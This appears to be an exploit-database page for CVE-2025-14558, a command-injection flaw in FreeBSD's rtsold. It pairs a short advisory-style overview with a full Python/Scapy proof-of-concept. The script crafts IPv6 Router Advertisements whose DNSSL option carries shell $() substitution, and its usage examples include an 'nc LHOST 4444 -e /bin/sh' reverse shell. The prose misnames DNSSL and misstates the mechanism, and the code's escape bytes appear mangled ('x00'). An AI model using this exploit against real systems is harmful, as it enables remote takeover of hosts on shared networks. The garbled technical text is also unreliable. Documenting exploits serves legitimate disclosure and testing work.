Skip to main content

FreeBSD rtsold 15.x – Remote Code Execution via DNSSL

Categories: WebApps

Overview

The vulnerability identified as CVE-2025-14558 affects the rtsold service in FreeBSD versions 15.x, allowing for remote code execution via malicious DNS Service Discovery (DNSSL) packets. This critical flaw arises from improper validation of incoming DNSSL options, which can be exploited by an attacker to execute arbitrary code on vulnerable systems.

Technical Details

FreeBSD’s rtsold is responsible for managing Router Advertisement messages and handling DNS Service Discovery. The vulnerability occurs when the service processes DNSSL options without adequate checks. An attacker can craft a specially designed DNSSL packet containing malicious payloads. When rtsold receives this packet, it may inadvertently execute the code embedded within, leading to a complete compromise of the affected system.

For instance, if a network is configured to accept DNSSL packets from untrusted sources, an adversary could deploy this attack remotely, requiring no physical access to the network. This makes the vulnerability particularly dangerous in environments where FreeBSD systems are deployed as routers or gateways.

Impact

The potential consequences of exploiting CVE-2025-14558 are severe, as attackers can gain unauthorized access to sensitive data, disrupt services, or even take full control of the affected devices. This could lead to data breaches, loss of integrity, and significant downtime, posing a critical risk to organizations relying on FreeBSD systems for their infrastructure.

Mitigation

To protect against this vulnerability, security professionals should immediately apply the latest patches provided by FreeBSD. Regularly updating systems is crucial in mitigating known vulnerabilities. Additionally, it is advisable to implement strict network segmentation and filtering rules to restrict DNSSL traffic to trusted sources only.

Organizations should also consider deploying intrusion detection systems (IDS) that can monitor for unusual DNSSL traffic patterns. Regular security audits and vulnerability assessments can help identify and remediate potential weaknesses within the network infrastructure, ensuring a robust defense against such vulnerabilities.

Proof of Concept (PoC)

poc.py
# Exploit Title: FreeBSD rtsold 15.x - Remote Code Execution via DNSSL
# Date: 2025-12-16
# Exploit Author: Lukas Johannes Möller
# Vendor Homepage: https://www.freebsd.org/
# Version: FreeBSD 13.x, 14.x, 15.x (before 2025-12-16 patches)
# Tested on: FreeBSD 14.1-RELEASE
# CVE: CVE-2025-14558
#
# Description:
#   rtsold(8) processes IPv6 Router Advertisement DNSSL options without
#   validating domain names for shell metacharacters. The decoded domains
#   are passed to resolvconf(8), a shell script that uses unquoted variable
#   expansion, enabling command injection via $() substitution.
#
# Requirements:
#   - Layer 2 adjacency to target
#   - Target running rtsold with ACCEPT_RTADV enabled
#   - Root privileges (raw socket for sending RA)
#   - Python 3 + Scapy
#
# References:
#   https://security.FreeBSD.org/advisories/FreeBSD-SA-25:12.rtsold.asc
#   https://github.com/JohannesLks/CVE-2025-14558

import argparse
import struct
import sys
import time

try:
    from scapy.all import (
        Ether, IPv6, ICMPv6ND_RA, ICMPv6NDOptPrefixInfo,
        ICMPv6NDOptSrcLLAddr, Raw, get_if_hwaddr, sendp
    )
except ImportError:
    sys.exit("[!] Scapy required: pip install scapy")


def encode_domain(name):
    """Encode domain in DNS wire format (RFC 1035)."""
    result = b""
    for label in name.split("."):
        if label:
            data = label.encode()
            result += bytes([len(data)]) + data
    return result + b"x00"


def encode_payload(cmd):
    """Encode payload as DNS label with $() wrapper for command substitution."""
    payload = f"$({cmd})".encode()
    if len(payload) > 63:
        # Split long payloads across labels (dots inserted on decode)
        result = b""
        while payload:
            chunk = payload[:63]
            payload = payload[63:]
            result += bytes([len(chunk)]) + chunk
        return result + b"x00"
    return bytes([len(payload)]) + payload + b"x00"


def build_dnssl(cmd, lifetime=0xFFFFFFFF):
    """Build DNSSL option (RFC 6106) with injected command."""
    data = encode_domain("x.local") + encode_payload(cmd)
    
    # Pad to 8-byte boundary
    pad = (8 - (len(data) + 8) % 8) % 8
    data += b"x00" * pad
    
    # Type=31 (DNSSL), Length in 8-octet units
    length = (8 + len(data)) // 8
    return struct.pack(">BBH", 31, length, 0) + struct.pack(">I", lifetime) + data


def build_ra(mac, payload):
    """Build Router Advertisement with malicious DNSSL."""
    return (
        Ether(src=mac, dst="33:33:00:00:00:01")
        / IPv6(src="fe80::1", dst="ff02::1", hlim=255)
        / ICMPv6ND_RA(chlim=64, M=0, O=1, routerlifetime=1800)
        / ICMPv6NDOptSrcLLAddr(lladdr=mac)
        / ICMPv6NDOptPrefixInfo(
            prefixlen=64, L=1, A=1,
            validlifetime=2592000, preferredlifetime=604800,
            prefix="2001:db8::"
        )
        / Raw(load=build_dnssl(payload))
    )


def main():
    p = argparse.ArgumentParser(
        description="CVE-2025-14558 - FreeBSD rtsold DNSSL Command Injection",
        epilog="Examples:n"
               "  %(prog)s -i eth0n"
               "  %(prog)s -i eth0 -p 'id>/tmp/pwned'n"
               "  %(prog)s -i eth0 -p 'nc LHOST 4444 -e /bin/sh'",
        formatter_class=argparse.RawDescriptionHelpFormatter
    )
    p.add_argument("-i", "--interface", required=True, help="Network interface")
    p.add_argument("-p", "--payload", default="touch /tmp/pwned", help="Command to execute")
    p.add_argument("-c", "--count", type=int, default=3, help="Packets to send (default: 3)")
    args = p.parse_args()

    try:
        mac = get_if_hwaddr(args.interface)
    except Exception as e:
        sys.exit(f"[!] Interface error: {e}")

    print(f"[*] Interface: {args.interface} ({mac})")
    print(f"[*] Payload: {args.payload}")

    pkt = build_ra(mac, args.payload)
    
    for i in range(args.count):
        sendp(pkt, iface=args.interface, verbose=False)
        print(f"[+] Sent RA {i+1}/{args.count}")
        if i < args.count - 1:
            time.sleep(1)

    print("[+] Done")


if __name__ == "__main__":
    main()

Security Disclaimer

This exploit is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal and may result in severe legal consequences. Always ensure you have explicit permission before testing vulnerabilities.

sh3llz@loading:~$
Loading security modules...